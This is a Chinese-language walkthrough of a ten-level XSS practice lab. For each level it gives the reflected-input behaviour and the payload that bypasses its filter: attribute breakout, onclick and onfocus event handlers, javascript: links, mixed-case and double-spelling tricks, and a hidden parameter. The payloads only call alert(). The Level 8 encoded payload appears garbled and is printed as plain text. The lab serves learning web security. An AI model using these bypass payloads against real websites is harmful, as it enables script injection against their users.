level1
发现在url中输入的内容会直接反映到页面代码中,那么我们直接开始构造payload,插入一段js代码,get传参:<script>alert(1)</script>
level2
发现传入的内容出现在了input标签的value属性中,接下来直接构造payload
test"><script>alert(1)</script><"
level3
发现与level2类似,直接构造payload
发现payload成功进行拼接了,但并没有执行
查看源代码,发现特殊字符<>被转义了,且value是单引号闭合,此时我们使用JS中的事件来构造payload
'οnclick=alert()'
此时查看页面源代码,发现事件已经加到了input标签上,接下来我们点击输入框,除法该事件
level4
直接输入然后查看源代码
发现与level3类似,闭合方式为双引号,直接构造payload
" οnclick=alert() "
level5
直接输入然后查看源代码,发现与前两关类似,直接构造payload
发现onclick中on被插入了下划线,导致了onclick事件无法使用,所以这时候我们使用a标签来绕过,这里使用到了javascript伪协议:使后面的代码以JS的形式执行
"> <a href=javascript:alert()>xxx</a> <"
level6
还是先进行尝试,发现大部分payload都被过滤了,但是没有大小写过滤,所以可以使用大小写进行绕过
"> <sCript>alert()</sCript> <"
" Onclick=javascript:alert() "
"> <a hRef=javascript:alert()>aaa</a> <"
level7
还是先进行尝试,发现这里面进行了小写转化,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用双拼写来绕过
比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on
比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script
"> <a hrehreff=javasscriptcript:alert()>aaa</a> <"
level8
还是先进行尝试,发现这里面添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、"(双引号)
但是我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议
javascript:alert()
利用在线工具进行Unicode编码后得到
javascript:alert()
接着进行插入
level9
查看源码,发现当false等于false的时候(就是传入的值没有http://)就会执行if,为了防止false===false,我们需要向传入的值里面添加http://并用注释符注释掉否则会执行不了无法弹窗,让函数strpos返回一个数字,构造payload
javascript:alert()/* http:// */
level10
查看源码,发现原来还有其他隐藏的传参方法,这里是get传参t_sort,并过滤掉了<>号,不能闭合插入标签,但是我们还能用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload
?t_sort=" οnfοcus=javascript:alert() type="text
本关小结:根据源码猜解传参的参数名,隐藏的input标签可以插入type="text"显示